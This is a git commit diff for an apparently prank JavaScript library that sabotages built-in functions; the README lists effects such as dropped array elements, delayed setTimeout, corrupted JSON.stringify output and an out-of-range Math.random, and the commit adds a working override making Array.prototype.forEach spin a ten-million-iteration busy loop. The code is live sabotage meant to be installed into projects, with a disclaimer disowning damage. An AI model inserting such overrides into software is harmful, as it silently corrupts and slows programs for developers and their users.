This commit is contained in:
wheatup 2021-04-09 19:15:06 +09:00
parent aefa80d4fc
commit 30a0674832
2 changed files with 13 additions and 2 deletions

View File

@ -9,13 +9,14 @@
* 当数组长度可以被7整除时`Array.includes` 永远返回false。
* 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。
* `Array.filter` 的结果有2%的概率丢失最后一个元素。
* `Array.forEach` 会卡死一段时间。
* `setTimeout` 总是会比预期时间慢1秒才触发。
* `Promise.then` 在周日时有10%概率不会注册。
* `JSON.stringify` 有30%概率会把`I`(大写字母I)变成`l`(小写字母L)。
* `Date.getTime()` 的结果总是会慢一个小时。
* `localStorage.getItem` 有5%几率返回空字符串。
* `Math.random()` 的取值范围改为`0`到`1.1`
* ...
**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**
@ -30,6 +31,7 @@ Try include this *harmless* library! Your project will have following amazing ef
* If the array size is divisible by `7`, `Array.includes` aways return `false`.
* `Array.map` will always be missing the last element during Sunday.
* `Array.filter` has 10% chance to drop the final element.
* `Array.forEach` will will cause a significant lag.
* `setTimeout` will alway trigger 1s later than expected.
* `Promise.then` has 10% chance will not register during Sunday.
* `JSON.stringify` has 30% replace `I` into `l`.

View File

@ -37,6 +37,16 @@
return result;
}
/**
* Array.forEach will will cause a significant lag
* @zh Array.forEach会卡死一段时间
*/
const _forEach = Array.prototype.forEach;
Array.prototype.forEach = function(...args) {
for(let i = 0; i <= 1e7; i++);
return _forEach.call(this, ...args);
}
/**
* Array.fillter has 10% chance to lose the final element
* @zh Array.filter的结果有2%的概率丢失最后一个元素
@ -119,5 +129,4 @@
result *= 1.1;
return result;
}
})((0, eval)('this'));